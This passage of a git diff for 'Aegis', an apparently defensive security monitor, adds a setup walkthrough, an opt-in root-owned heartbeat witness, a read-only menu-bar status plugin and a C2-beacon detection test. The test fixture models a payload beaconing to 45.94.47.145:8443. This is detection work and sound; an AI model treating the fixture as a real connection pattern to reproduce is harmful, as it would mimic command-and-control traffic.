healthy scan).") + else: + print("Off-host heartbeat: the ONE background egress, OFF by default " + "— given a URL you control, every healthy scan POSTs a small " + "redacted liveness beat there, so silence leaves the box even " + "when every local sink is being suppressed.") + if _ask_yn(" configure a heartbeat URL?"): + url = _ask_line(" URL to POST the beat to (https://…): ") + if url.startswith(("http://", "https://")): + cfg = _aegis_config() + cfg = cfg if isinstance(cfg, dict) else {} + cfg["heartbeat_url"] = url + save_json(AEGIS_CONFIG, cfg) + print(" saved heartbeat_url to %s." % AEGIS_CONFIG) + elif url: + print(" not saved: %r is not an http(s) URL." % url) + + # Tiers that exist only on some builds: probe the module at runtime and + # point at them, so this walkthrough never depends on a sibling branch. + for fn, pointer in (("cmd_rootwatch", "rootwatch — `aegis.py rootwatch`"), + ("cmd_intel", "intel — `aegis.py intel`")): + if callable(globals().get(fn)): + print("Also available on this build: %s." % pointer) + + _setup_summary() + return 0 + + +def _setup_summary(): + """One-screen posture summary, read from the same state the tier + detections above use — never from what this run happened to answer.""" + st = load_json(SELFSTATE, {}) + canaries = load_json(CANARY_STATE, {}) + latches = load_json(LATCH_FILE, {}) + rows = [ + ("background monitor", + "on (%s mode)" % (st.get("install_mode") or "scan") + if st.get("installed") else "off — aegis.py install"), + ("canary files", "on (%d planted)" % len(canaries) if canaries + else "off — aegis.py canary"), + ("latch", "on (%d surfaces)" % len(latches) if latches + else "off — aegis.py latch on"), + ] + if hasattr(os, "mkfifo"): + decoys = load_json(DECOY_FILE, {}) + rows.append(("decoys", "on (%d planted)" % len(decoys) if decoys + else "off — aegis.py decoy plant")) + rows.append(("guard", "on (observe-only)" + if os.path.isfile(_guard_paths()[0]) + else "off — aegis.py guard install")) + rows.append(("off-host heartbeat", + "on" if _heartbeat_url() else "off (local-only)")) + rows.append(("watchdog pairing", + "run `aegis.py watchdog` from a second agent/cron/task")) + print("\n# Posture after setup") + for name, val in rows: + print(" %-22s %s" % (name, val)) + print("\nFull posture any time: aegis.py status " + "(coverage: aegis.py doctor)") + + def cmd_watchdog(): """Dead-man's-switch check: is the monitor still beating? Meant to be run by a SECOND launchd agent or cron (the unprivileged mutual-watchdog), or by an @@ -13927,6 +15590,379 @@ def cmd_bastion(): return 0 +# --------------------------------------------------------------------------- # +# Opt-in ROOT witness: rootwatch. +# +# `watchdog` is a dead-man's switch, but it runs at the SAME uid as the +# monitor: the attacker who kills Aegis kills the watchdog agent in the same +# sweep, and the notary only makes the kill evident at the next human look. +# The one thing that closes that gap is a witness the attacker cannot reach +# without root — so this tier, alone in Aegis, installs a privileged +# component. It is held to the `bastion` doctrine: OPT-IN (Aegis never +# self-elevates; unprivileged `rootwatch install` mutates nothing and prints +# the sudo line for the human to run), SINGLE-PURPOSE (read one heartbeat +# file, alert on staleness, nothing else), and TINY (the generated script is +# under 60 lines, imports five stdlib modules, and is meant to be read in one +# glance before you install it — the smallness IS the security argument). +# +# The generated script deliberately NEVER writes into the user's ~/.aegis: +# root-owned files appearing in user state would break Aegis's own +# atomic-replace assumptions (os.replace onto a root-owned target fails for +# the user, killing every subsequent scan's state writes). +# --------------------------------------------------------------------------- # + +# str.format (not %) on purpose: the generated code is full of runtime +# %-formatting, and the only generation-time substitutions are the five +# {name} fields. The script uses a one-line import to protect its own audit +# budget — the ≤60-line bound is pinned by the test suite. +_ROOTWATCH_TEMPLATE = '''\ +#!/usr/bin/env python3 +# aegis-rootwatch -- generated by `aegis.py rootwatch install`. Do not edit; +# re-run install to regenerate. +# +# This is the ONLY thing Aegis ever runs as root, and it is deliberately +# small enough to audit in one glance -- the smallness IS the security +# argument. One job: read ONE user file (the monitor's heartbeat) and, if +# the beat is stale, say so in places a same-uid attacker cannot silence +# (a root-owned log, syslog, the user's screen). It takes no input beyond +# the constants baked in below, imports nothing outside the five stdlib +# modules here, and NEVER writes into the user's home -- a root-owned file +# in ~/.aegis would break Aegis's own atomic-replace assumptions. +import json, os, subprocess, sys, time + +HEARTBEAT = {hb!r} # the watched user's beat file (READ-only here) +UID = {uid} # whose session to notify +TOLERANCE = {tol} # seconds; mirrors aegis.py HEARTBEAT_STALE_SECS +LOG = {log!r} # root-owned durable alert trail (kept on uninstall) +MAC = {mac!r} + + +def main(): + try: + with open(HEARTBEAT, "r", encoding="utf-8") as f: + last = int(json.load(f).get("epoch") or 0) + except Exception: + last = 0 # missing/unreadable/wiped state reads as DEAD, never healthy + age = int(time.time()) - last if last else None + if age is not None and age <= TOLERANCE: + return 0 # healthy: silent by design + human = ("no heartbeat could be read" if age is None else + "last beat %d min ago (> %d min tolerance)" + % (age // 60, TOLERANCE // 60)) + msg = ("Aegis rootwatch: the monitor is NOT beating -- %s. It may have " + "been killed or unloaded; run `aegis.py watchdog` as the user." + % human) + try: + os.makedirs(os.path.dirname(LOG), mode=0o755, exist_ok=True) + with open(LOG, "a", encoding="utf-8") as f: + f.write("%s %s\\n" % (time.strftime("%Y-%m-%dT%H:%M:%S%z"), msg)) + except Exception: + pass + note = 'display notification "%s" with title "Aegis rootwatch"' % human + cmds = ([["launchctl", "asuser", str(UID), "osascript", "-e", note]] + if MAC else + [["notify-send", "-u", "critical", "Aegis rootwatch", msg], + ["wall", msg]]) + for argv in cmds + [["logger", "-t", "aegis-rootwatch", msg]]: + try: + subprocess.run(argv, timeout=15, stdout=subprocess.DEVNULL, + stderr=subprocess.DEVNULL) + except Exception: + pass # each sink is best-effort; the LOG line above is the anchor + print(msg, file=sys.stderr) + return 1 + + +if __name__ == "__main__": + sys.exit(main()) +''' + +_ROOTWATCH_SERVICE = """\ +[Unit] +Description=Aegis root witness (alerts when the user monitor stops beating) + +[Service] +Type=oneshot +ExecStart="%(py)s" "%(script)s" +# The witness only reads one heartbeat file and appends its own alert log. +NoNewPrivileges=true +""" + +_ROOTWATCH_TIMER = """\ +[Unit] +Description=Aegis root witness timer + +[Timer] +OnBootSec=2min +OnUnitActiveSec=%(interval)ds +Persistent=true + +[Install] +WantedBy=timers.target +""" + + +def _rootwatch_script_text(hb_path, uid, log_path, mac=IS_MAC): + """Generate the privileged witness with the watched user's paths, uid and + the watchdog's own staleness tolerance baked in at generation time.""" + return _ROOTWATCH_TEMPLATE.format(hb=hb_path, uid=int(uid), + tol=HEARTBEAT_STALE_SECS, log=log_path, + mac=bool(mac)) + + +def _rootwatch_plist_text(): + """The root LaunchDaemon: run the witness every ROOTWATCH_INTERVAL secs. + Paths are entity-escaped like the user agent's plist (the F0 lesson).""" + logdir = os.path.dirname(ROOTWATCH_LOG) + return ( + '\n' + '\n' + '\n \n' + ' Label\n %s\n' + ' ProgramArguments\n \n' + ' %s\n' + ' %s\n' + ' \n' + ' StartInterval\n %d\n' + ' RunAtLoad\n \n' + ' StandardOutPath\n %s\n' + ' StandardErrorPath\n %s\n' + ' \n\n' + % (ROOTWATCH_LABEL, _xml_escape(ROOTWATCH_PY), + _xml_escape(ROOTWATCH_SCRIPT), ROOTWATCH_INTERVAL, + _xml_escape(os.path.join(logdir, "rootwatch.out")), + _xml_escape(os.path.join(logdir, "rootwatch.err")))) + + +def _rootwatch_unit_texts(): + """(service, timer) for the SYSTEM systemd instance — not --user, which + would die with the session and be disable-able by the same uid.""" + service = _ROOTWATCH_SERVICE % {"py": ROOTWATCH_PY, + "script": ROOTWATCH_SCRIPT} + timer = _ROOTWATCH_TIMER % {"interval": ROOTWATCH_INTERVAL} + return service, timer + + +def _rootwatch_installed(): + """File presence only (no launchctl/systemctl call) — cheap enough for + the doctor line, and answerable without root on both platforms.""" + if IS_WIN: + return False + reg = ROOTWATCH_PLIST if IS_MAC else os.path.join(ROOTWATCH_UNIT_DIR, + "aegis-rootwatch.timer") + return os.path.exists(ROOTWATCH_SCRIPT) and os.path.exists(reg) + + +def _rootwatch_target(): + """(uid, home) of the INSTALLING user under sudo. Refuses a bare root + shell: the witness watches ONE user's heartbeat and must know whose — + guessing (or defaulting to root's own empty ~/.aegis) would install a + watchdog that alarms forever or never.""" + sudo_uid = os.environ.get("SUDO_UID", "") + if not sudo_uid.isdigit() or int(sudo_uid) == 0: + return None, None + import pwd + try: + return int(sudo_uid), pwd.getpwuid(int(sudo_uid)).pw_dir + except Exception: + return None, None + + +def _write_root_file(path, text, mode): + """Atomic write for the root-owned artifacts: tmp in the SAME dir, fsync, + replace, chown root — never a half-written daemon definition, and never + a user-owned file at a root path.""" + d = os.path.dirname(path) + os.makedirs(d, mode=0o755, exist_ok=True) + tmp = os.path.join(d, ".%s.tmp%d" % (os.path.basename(path), os.getpid())) + fd = os.open(tmp, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, mode) + try: + with os.fdopen(fd, "w", encoding="utf-8") as f: + f.write(text) + f.flush() + os.fsync(f.fileno()) + os.chmod(tmp, mode) + os.chown(tmp, 0, 0) + os.replace(tmp, path) + except Exception: + try: + os.unlink(tmp) + except OSError: + pass + raise + + +def _rootwatch_audit(action, result, home): + """Append the install/uninstall record to the INVOKING user's + actions.jsonl — but only if that file already exists: creating it as root + would drop a root-owned file into user state, the exact failure the + generated script's header forbids. Best-effort by design; the root-owned + plist/unit itself is the durable record of what was installed.""" + path = os.path.join(home, ".aegis", "actions.jsonl") + if not os.path.isfile(path): + return + rec = {"ts": now_iso(), "action": action, "target": ROOTWATCH_SCRIPT, + "result": result} + try: + with open(path, "a", encoding="utf-8") as f: + f.write(json.dumps(rec, sort_keys=True) + "\n") + except Exception: + pass + + +def _rootwatch_install(): + """Root half of `rootwatch install` (reached only under sudo).""" + uid, home = _rootwatch_target() + if uid is None: + print("refuse: cannot tell whose heartbeat to watch — run via sudo " + "from your own account, not from a root shell (SUDO_UID is " + "how the witness learns its user).") + return 1 + if not os.path.exists(ROOTWATCH_PY): + print("refuse: %s not found — the root witness only ever runs a " + "root-owned system interpreter, never a user venv." + % ROOTWATCH_PY) + return 1 + hb = os.path.join(home, ".aegis", "heartbeat.json") + _write_root_file(ROOTWATCH_SCRIPT, + _rootwatch_script_text(hb, uid, ROOTWATCH_LOG), 0o755) + os.makedirs(os.path.dirname(ROOTWATCH_LOG), mode=0o755, exist_ok=True) + if IS_MAC: + _write_root_file(ROOTWATCH_PLIST, _rootwatch_plist_text(), 0o644) + # Idempotent like the user installer: unload any prior copy first. + run(["launchctl", "bootout", "system/%s" % ROOTWATCH_LABEL], + timeout=15) + _o, err, rc = run(["launchctl", "bootstrap", "system", + ROOTWATCH_PLIST], timeout=15) + if rc != 0: + print("rootwatch install FAILED: launchctl bootstrap: %s" + % (err or "").strip()) + return 1 + registered = "LaunchDaemon %s" % ROOTWATCH_LABEL + else: + service, timer = _rootwatch_unit_texts() + _write_root_file(os.path.join(ROOTWATCH_UNIT_DIR, + "aegis-rootwatch.service"), + service, 0o644) + _write_root_file(os.path.join(ROOTWATCH_UNIT_DIR, + "aegis-rootwatch.timer"), timer, 0o644) + run(["systemctl", "daemon-reload"], timeout=30) + _o, err, rc = run(["systemctl", "enable", "--now", + "aegis-rootwatch.timer"], timeout=30) + if rc != 0: + print("rootwatch install FAILED: systemctl enable --now: %s" + % (err or "").strip()) + return 1 + registered = "system timer aegis-rootwatch.timer" + _rootwatch_audit("rootwatch-install", + "installed for uid %d" % uid, home) + print("rootwatch installed: %s runs %s every %d min (watching %s)." + % (registered, ROOTWATCH_SCRIPT, ROOTWATCH_INTERVAL // 60, hb)) + print("Alerts append to %s and notify uid %d's session. Audit the " + "script — it is short on purpose." % (ROOTWATCH_LOG, uid)) + return 0 + + +def _rootwatch_uninstall(): + """Root half of `rootwatch uninstall`: unregister and remove the script + and schedule; the alert log is EVIDENCE and is deliberately kept.""" + if IS_MAC: + run(["launchctl", "bootout", "system/%s" % ROOTWATCH_LABEL], + timeout=15) + removed = [ROOTWATCH_PLIST, ROOTWATCH_SCRIPT] + else: + run(["systemctl", "disable", "--now", "aegis-rootwatch.timer"], + timeout=30) + removed = [os.path.join(ROOTWATCH_UNIT_DIR, "aegis-rootwatch.timer"), + os.path.join(ROOTWATCH_UNIT_DIR, + "aegis-rootwatch.service"), + ROOTWATCH_SCRIPT] + for path in removed: + try: + os.remove(path) + except OSError: + pass + if IS_LINUX: + run(["systemctl", "daemon-reload"], timeout=30) + _uid, home = _rootwatch_target() + if home: + _rootwatch_audit("rootwatch-uninstall", "removed", home) + print("rootwatch removed. The alert log %s is kept — it is evidence." + % ROOTWATCH_LOG) + return 0 + + +def _rootwatch_status(): + """Report installed/registered/last-fired without root where possible. + /Library/LaunchDaemons and /etc/systemd/system are world-readable, and + the alert log is 0644, so everything here works unprivileged.""" + reg_path = ROOTWATCH_PLIST if IS_MAC else os.path.join( + ROOTWATCH_UNIT_DIR, "aegis-rootwatch.timer") + script = os.path.exists(ROOTWATCH_SCRIPT) + reg = os.path.exists(reg_path) + print("# Aegis rootwatch — opt-in ROOT witness\n") + if not script and not reg: + print(" absent — the kill gap is open: a same-uid attacker can kill " + "Aegis and the\n user-level watchdog together, and only the " + "notary would show it later.\n `aegis.py rootwatch install` " + "prints the sudo line that closes it.") + return 0 + print(" %s script %s" % ("✓" if script else "✗", ROOTWATCH_SCRIPT)) + print(" %s schedule %s" % ("✓" if reg else "✗", reg_path)) + if IS_MAC: + _o, _e, rc = run(["launchctl", "print", + "system/%s" % ROOTWATCH_LABEL], timeout=15) + else: + _o, _e, rc = run(["systemctl", "is-enabled", + "aegis-rootwatch.timer"], timeout=15) + print(" %s registered %s" + % ("✓" if rc == 0 else "?", + "loaded in the root domain" if rc == 0 + else "not reported loaded (the query itself may need root)")) + last = None + try: + with open(ROOTWATCH_LOG, "r", encoding="utf-8") as f: + for line in f: + last = line.strip() or last + except OSError: + last = None + if last: + print(" ! last alert %s" % last) + else: + print(" ✓ alerts none recorded") + if script and reg: + print("\n installed.") + else: + print("\n PARTIAL install — re-run `rootwatch install` (sudo).") + return 0 + + +def cmd_rootwatch(action="status"): + """OPT-IN root witness — see the block comment above. Never self-elevates: + without root, install/uninstall perform ZERO mutation and print the one + pasteable sudo line; `status` needs no root at all.""" + if action not in ("install", "status", "uninstall"): + print("usage: aegis.py rootwatch [install|status|uninstall]") + return 1 + if IS_WIN: + print("rootwatch is not built for Windows yet — a SYSTEM scheduled " + "task is future work; the user-level watchdog still runs.") + return 2 + if action == "status": + return _rootwatch_status() + if os.geteuid() != 0: + print("rootwatch makes no change without root: the witness must be " + "root-owned, or the\nsame-uid attacker who kills Aegis kills " + "it too. Review the generated script\n(it is under 60 lines), " + "then run:") + print(' sudo "%s" "%s" rootwatch %s' + % (sys.executable or "python3", _SELF_PATH, action)) + return 2 + return (_rootwatch_install() if action == "install" + else _rootwatch_uninstall()) + + # --------------------------------------------------------------------------- # # Proving a HUMAN approved something. # @@ -14733,6 +16769,13 @@ def cmd_guard(action="status", rest=None): Default: a scan every 3600s; `watch` = change-driven monitoring with a [secs] full-scan floor (default 600) uninstall remove that registration (local evidence is kept) + setup guided, idempotent walkthrough of the OPT-IN tiers (monitor, + canary, latch, decoys, guard, watchdog pairing, heartbeat); + default No everywhere, already-enabled tiers are skipped + update-check is the installed runtime copy (~/.aegis/aegis.py) stale + behind this file? drift -> exit 1 + the exact refresh + command; --remote also compares against the repo's GitHub + raw copy (by hand only — the scan path stays offline) DETECT (default; runs on the scheduled interval, never destructive) scan run all checks once; update report; alert on new HIGH+ @@ -14756,6 +16799,13 @@ def cmd_guard(action="status", rest=None): vt OPT-IN VirusTotal reputation for a file/hash (sends only the hash, never the file; needs AEGIS_VT_API_KEY or ~/.aegis/vt_key; the scan path stays local-only regardless) + intel [update|status] + OPT-IN community IOC intel (abuse.ch MalwareBazaar + + ThreatFox; no key, no account). `update` fetches the two + PUBLIC exports by hand; scans then grade the hashes they + already compute and outbound ip:port rows against the + LOCAL copy, offline. Nothing fetched ⇒ the surface is + simply absent and the scan path stays network-free canary [remove] plant (or remove) ransomware canary/honeypot files, plus any OPT-IN credential-canary tokens configured as "canary_tokens": [{"path": "...", "content": "..."}] in @@ -14773,6 +16823,13 @@ def cmd_guard(action="status", rest=None): bastion macOS only, OPT-IN, needs sudo: surface Apple's XProtect Behavioral (Bastion) violations Apple records but never alerts on + rootwatch [install|status|uninstall] + OPT-IN root witness (macOS/Linux; not built for Windows + yet): a <60-line root-owned script on a ROOT schedule that + alerts within minutes when the heartbeat dies — the one + watcher a same-uid attacker cannot kill along with Aegis. + Never self-elevates: run without root it changes nothing + and prints the sudo line for YOU. `status` needs no root RESPOND (opt-in; you run these by hand on a reviewed finding — never automatic) quarantine atomically confine a file or valid .app bundle @@ -14931,6 +16988,8 @@ def main(argv): return cmd_allow(argv[2]) if cmd == "vt" and len(argv) > 2: return cmd_vt(argv[2]) + if cmd == "intel": + return cmd_intel(argv[2] if len(argv) > 2 else "status") if cmd == "canary": return cmd_canary(argv[2] if len(argv) > 2 else "plant") if cmd == "watch": @@ -14948,10 +17007,16 @@ def main(argv): return cmd_install(mode, secs) if cmd == "uninstall": return cmd_uninstall() + if cmd == "setup": + return cmd_setup() + if cmd == "update-check": + return cmd_update_check(remote=("--remote" in argv[2:])) if cmd == "watchdog": return cmd_watchdog() if cmd == "bastion": return cmd_bastion() + if cmd == "rootwatch": + return cmd_rootwatch(argv[2] if len(argv) > 2 else "status") # --- response tier (opt-in) --- if cmd == "quarantine" and len(argv) > 2: return cmd_quarantine(argv[2]) diff --git a/menubar/aegis-status.30s.py b/menubar/aegis-status.30s.py new file mode 100755 index 0000000..2520ed7 --- /dev/null +++ b/menubar/aegis-status.30s.py @@ -0,0 +1,288 @@ +#!/usr/bin/env python3 +# Aegis Status +# v1.0 +# Aegis +# One-glance Aegis security-monitor status: heartbeat, open incidents, degraded sensors. Strictly read-only on Aegis state. +# python3 +# true +"""One-glance Aegis status for the macOS menu bar (xbar / SwiftBar). + +STRICTLY READ-ONLY on Aegis state, by construction: + * the SQLite store is opened with `mode=ro&immutable=1` (the same idiom + aegis.py uses to read other processes' DBs) — it cannot lock, journal, + or modify the file, and it never creates one that is absent; + * every other read is `open(..., "r")` with a hard byte cap; + * there is no `os.makedirs`, no write-mode `open`, no delete, and no + networking import anywhere in this file. + +STANDALONE on purpose: it never imports aegis.py (the runtime copy may live +anywhere), so the three tiny readers it needs — heartbeat, incidents, sensor +health — are re-implemented here against the documented shapes. The staleness +tolerance mirrors `cmd_watchdog`'s HEARTBEAT_STALE_SECS. + +Failure doctrine: a plugin that crashes renders NOTHING in the menu bar, which +would silently remove the very indicator this exists to provide. So every +reader degrades its own line and main() cannot exit non-zero — the worst state +still renders a title. + +States, most important first: + 💀 the monitor is dead (heartbeat missing-though-installed or stale) + ⚠️ N N incidents are open (worst severity colors the dropdown) + 🛡️ heartbeat fresh, no open incidents + ⚪ ~/.aegis absent/empty — Aegis is simply not installed (calm) +""" +import json +import os +import sqlite3 +import sys +import time + +STATE_DIR = os.environ.get("AEGIS_STATE_DIR") or \ + os.path.join(os.path.expanduser("~"), ".aegis") +DB_FILE = os.path.join(STATE_DIR, "aegis.db") +HEARTBEAT_FILE = os.path.join(STATE_DIR, "heartbeat.json") +LATEST_MD = os.path.join(STATE_DIR, "latest.md") +BASELINE = os.path.join(STATE_DIR, "baseline.json") +RUNTIME = os.path.join(STATE_DIR, "aegis.py") # install.sh's runtime copy + +HEARTBEAT_STALE_SECS = 3 * 3600 # mirrors aegis.py cmd_watchdog tolerance +ACTIVE_STATES = ("OPEN", "ACK", "INVESTIGATING", "CONTAINED", + "RECOVERING", "MONITORING") +SEV_RANK = {"CRITICAL": 4, "HIGH": 3, "MEDIUM": 2, "LOW": 1, "INFO": 0} +SEV_COLOR = {"CRITICAL": "red", "HIGH": "orange", "MEDIUM": "#b58900", + "LOW": "blue", "INFO": "gray"} +MAX_JSON_BYTES = 1 << 16 # heartbeat.json is ~200 bytes; anything huge is wrong +MAX_INCIDENTS = 5 + + +# --------------------------------------------------------------------------- # +# Readers — each bounded, each returns a benign default instead of raising. +# --------------------------------------------------------------------------- # + +def read_heartbeat(): + """heartbeat.json as written by aegis.py write_heartbeat(); {} on any + problem. The read is byte-capped so a corrupt/hostile giant file costs one + bounded read, never a slurp.""" + try: + with open(HEARTBEAT_FILE, "r", encoding="utf-8", errors="replace") as f: + beat = json.loads(f.read(MAX_JSON_BYTES)) + return beat if isinstance(beat, dict) else {} + except Exception: + return {} + + +def _sqlite_readonly(path): + """The aegis.py read-only open idiom: immutable+ro URI, so reading a live + WAL db never locks it, never creates journal files, and structurally + cannot write. Returns a connection or None.""" + if not os.path.exists(path): + return None + try: + uri = "file:%s?immutable=1&mode=ro" % ( + path.replace("%", "%25").replace("?", "%3f").replace("#", "%23")) + return sqlite3.connect(uri, uri=True, timeout=2) + except Exception: + return None + + +def _query(db, sql, args=()): + """One bounded SELECT; [] instead of an exception (missing table, corrupt + page, schema drift — every one degrades a line, never the plugin).""" + try: + return db.execute(sql, args).fetchall() + except Exception: + return [] + + +def read_store(): + """The three tiny reads from aegis.db: open incidents (count + worst-first + top slice), degraded sensors, and the last-scan epoch. Every field is None/ + empty when unavailable.""" + out = {"open_count": None, "incidents": [], "degraded": [], + "last_scan": None} + db = _sqlite_readonly(DB_FILE) + if db is None: + return out + try: + marks = ",".join("?" for _ in ACTIVE_STATES) + rows = _query(db, "SELECT count(*) FROM incidents WHERE status IN (%s)" + % marks, ACTIVE_STATES) + if rows: + out["open_count"] = int(rows[0][0]) + out["incidents"] = [ + {"id": r[0], "severity": str(r[1]), "title": str(r[2]), + "status": str(r[3])} + for r in _query( + db, "SELECT id,severity,title,status FROM incidents " + "WHERE status IN (%s) ORDER BY CASE severity " + "WHEN 'CRITICAL' THEN 4 WHEN 'HIGH' THEN 3 " + "WHEN 'MEDIUM' THEN 2 WHEN 'LOW' THEN 1 ELSE 0 END DESC," + "updated_at DESC LIMIT %d" % (marks, MAX_INCIDENTS), + ACTIVE_STATES)] + out["degraded"] = [ + {"sensor_id": str(r[0]), "status": str(r[1])} + for r in _query( + db, "SELECT sensor_id,status FROM sensor_status " + "WHERE status != 'OK' ORDER BY sensor_id LIMIT 10")] + rows = _query(db, "SELECT value FROM meta WHERE key='last_scan'") + if rows: + try: + out["last_scan"] = int(float(rows[0][0])) + except Exception: + pass + finally: + try: + db.close() + except Exception: + pass + return out + + +# --------------------------------------------------------------------------- # +# Rendering +# --------------------------------------------------------------------------- # + +def _clean(text, cap=80): + """Menu-safe text: '|' would let db-sourced text (an attacker-influenced + incident title) inject xbar params into its own line, and newlines would + forge extra lines. Both are stripped, and the length is capped.""" + text = str(text).replace("|", "/").replace("\n", " ").replace("\r", " ") + return text[:cap] + + +def _rel(age_secs): + if age_secs < 0: + age_secs = 0 + if age_secs < 90: + return "just now" + if age_secs < 5400: + return "%d min ago" % (age_secs // 60) + if age_secs < 172800: + return "%d h ago" % (age_secs // 3600) + return "%d d ago" % (age_secs // 86400) + + +def _worst_severity(incidents): + worst = "INFO" + for inc in incidents: + if SEV_RANK.get(inc["severity"], 0) > SEV_RANK.get(worst, 0): + worst = inc["severity"] + return worst + + +def render(): + lines = [] + installed = any(os.path.exists(p) for p in + (HEARTBEAT_FILE, DB_FILE, BASELINE, LATEST_MD)) + if not installed: + # Calm by design: an absent ~/.aegis is a machine without Aegis, not an + # emergency. (A wiped state dir on a machine that HAD Aegis is the + # watchdog's job — the plugin cannot see outside the state dir.) + lines.append("⚪ Aegis: not installed") + lines.append("---") + lines.append("No Aegis state at %s" % _clean(STATE_DIR)) + lines.append("Install: python3 aegis.py install | font=Menlo") + return lines + + now = int(time.time()) + beat = read_heartbeat() + try: + last_beat = int(beat.get("epoch") or 0) + except Exception: + last_beat = 0 + beat_age = (now - last_beat) if last_beat else None + # cmd_watchdog doctrine: installed-with-no-beat is DEAD, never fresh. + dead = beat_age is None or beat_age > HEARTBEAT_STALE_SECS + + store = read_store() + open_count = store["open_count"] + worst = _worst_severity(store["incidents"]) + + # ---- title: the one-glance verdict, most important state first ---------- + if dead: + lines.append("💀 Aegis") + elif open_count: + lines.append("⚠️ %d" % open_count) + else: + lines.append("🛡️") + lines.append("---") + + # ---- status lines -------------------------------------------------------- + if dead: + detail = ("no heartbeat on record" if beat_age is None else + "last beat %s (tolerance %d min)" + % (_rel(beat_age), HEARTBEAT_STALE_SECS // 60)) + lines.append("Monitor NOT beating — %s | color=red" % detail) + lines.append("Check: launchctl list / aegis.py watchdog | font=Menlo") + if store["last_scan"]: + lines.append("Last scan: %s" % _rel(now - store["last_scan"])) + else: + lines.append("Last scan: unavailable | color=gray") + + # ---- incidents ------------------------------------------------------------ + if open_count: + lines.append("---") + lines.append("Open incidents (%d): | color=%s" + % (open_count, SEV_COLOR.get(worst, "red"))) + for inc in store["incidents"]: + lines.append("#%s %s — %s | color=%s" % ( + inc["id"], _clean(inc["severity"], 8), _clean(inc["title"]), + SEV_COLOR.get(inc["severity"], "gray"))) + if open_count > len(store["incidents"]): + lines.append("… %d more | color=gray" + % (open_count - len(store["incidents"]))) + elif open_count is None: + lines.append("Incidents: unavailable (db unreadable) | color=gray") + + # ---- degraded sensors ----------------------------------------------------- + if store["degraded"]: + lines.append("---") + lines.append("Degraded sensors: | color=gray") + for h in store["degraded"]: + lines.append("%s: %s | color=gray" + % (_clean(h["sensor_id"], 40), _clean(h["status"], 12))) + + # ---- heartbeat age --------------------------------------------------------- + lines.append("---") + if beat_age is not None: + lines.append("Heartbeat: %s (pid %s)" + % (_rel(beat_age), _clean(beat.get("pid", "?"), 12))) + else: + lines.append("Heartbeat: none on record | color=red") + + # ---- actions ---------------------------------------------------------------- + lines.append("---") + if os.path.exists(LATEST_MD): + lines.append('Open latest report | shell="/usr/bin/open" param1="%s"' + % LATEST_MD) + if os.path.exists(RUNTIME): + py = sys.executable or "/usr/bin/python3" + lines.append('Incidents in Terminal | shell="%s" param1="%s" ' + 'param2=incidents terminal=true' % (py, RUNTIME)) + lines.append('Scan now | shell="%s" param1="%s" param2=scan ' + 'terminal=true refresh=true' % (py, RUNTIME)) + else: + lines.append("Runtime copy not found (run install) | color=gray") + lines.append("Refresh | refresh=true") + return lines + + +def main(): + # A Windows/pipe stdout may be cp1252, where the icons raise and kill the + # render — pin utf-8 exactly as aegis.py does for its own report. + try: + sys.stdout.reconfigure(encoding="utf-8", errors="replace") + except Exception: + pass + try: + print("\n".join(render())) + except Exception as e: + # Last-ditch: a broken plugin must still render SOMETHING. + print("❓ Aegis") + print("---") + print("plugin error: %s" % _clean(e, 120)) + return 0 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/tests/test_beacon.py b/tests/test_beacon.py new file mode 100644 index 0000000..e1a4818 --- /dev/null +++ b/tests/test_beacon.py @@ -0,0 +1,170 @@ +#!/usr/bin/env python3 +"""Beacon-shape outbound recurrence — regression suite. + +Outbound cannot be baseline-diffed (a browser opens hundreds of ephemeral +connections per scan), so check_outbound scores live rows per-scan only. +Recurrence keys on a different invariant: the same (binary, remote ip:port) +pair re-observed across many distinct scans is the residue an interval C2 +beacon leaves and browser churn does not. These tests pin both poles — a +recurring untrusted pair fires HIGH exactly once at the incident level; +browsers, trusted-prefix binaries, and below-threshold recurrence stay +silent — and that the live per-scan scoring is unregressed. + +Fully sandboxed via the test_regression Sandbox base: never touches real +~/.aegis, never fires a desktop notification. Stdlib-only. + +Run: python3 -m unittest discover -s tests (from the repo root) + or: python3 tests/test_beacon.py +""" +import gzip +import json +import os +import sys +import time +import unittest + +sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) # sibling import +import aegis # noqa: E402 +from test_regression import Sandbox # noqa: E402 + + +def history(row, count, step=1800, base=1_700_000_000): + """`count` stored scan snapshots each containing `row`, `step` secs apart.""" + return [(base + i * step, [list(row)]) for i in range(count)] + + +class BeaconSandbox(Sandbox): + def setUp(self): + super().setUp() + # The sandbox tmp dir stands in for a user-writable drop path on every + # platform (mirrors TestOutbound), saved/restored so nothing leaks. + self._saved.setdefault("RISKY_PREFIXES", aegis.RISKY_PREFIXES) + aegis.RISKY_PREFIXES = tuple(set(aegis.RISKY_PREFIXES) | {self.tmp}) + self.payload = os.path.join(self.tmp, "payload") + # (path, remote_ip, remote_port, trust) — trust "unsigned" is + # suspicious on mac/win; the risky-location arm covers Linux. + self.row = (self.payload, "45.94.47.145", "8443", "unsigned") + + +class TestBeaconRecurrence(BeaconSandbox): + def test_recurring_untrusted_pair_fires_high(self): + # 3 distinct scans spanning 60 minutes, pair still live this scan. + hist = history(self.row, 3) + fs = aegis._beacon_recurrence(hist, [self.row]) + self.assertEqual(len(fs), 1) + f = fs[0] + self.assertEqual(f["severity"], "HIGH") + self.assertEqual(f["fingerprint"], + "beacon:%s:45.94.47.145:8443" % self.payload) + # Scan count, span and endpoint must all be in the detail. + self.assertIn("3 scan", f["detail"]) + self.assertIn("45.94.47.145:8443", f["detail"]) + + def test_fires_once_at_incident_level_and_does_not_restorm(self): + hist = history(self.row, 3) + first = aegis._beacon_recurrence(hist, [self.row]) + self.assertEqual(len(aegis.emit(first, first_run=False)), 1) + self.assertEqual(len(self.notifications), 1) + # The pair keeps recurring on later scans: identical fingerprint, so + # the seen/signal machinery dedups — no second notification, ever. + hist += history(self.row, 2, base=1_700_000_000 + 3 * 1800) + again = aegis._beacon_recurrence(hist, [self.row]) + self.assertEqual(again[0]["fingerprint"], first[0]["fingerprint"]) + self.assertEqual(aegis.emit(again, first_run=False), []) + self.assertEqual(len(self.notifications), 1) + + def test_browser_recurring_forever_stays_silent(self): + # Browsers hold long-lived remote pairs legitimately — silent by NAME, + # even unsigned in a user-writable path (where the trust gates alone + # would have fired), and helper processes count as the browser too. + for name in ("Google Chrome", "Google Chrome Helper (Network)", + "chrome.exe", "firefox", "Brave Browser Helper"): + row = (os.path.join(self.tmp, name), "45.94.47.145", "8443", + 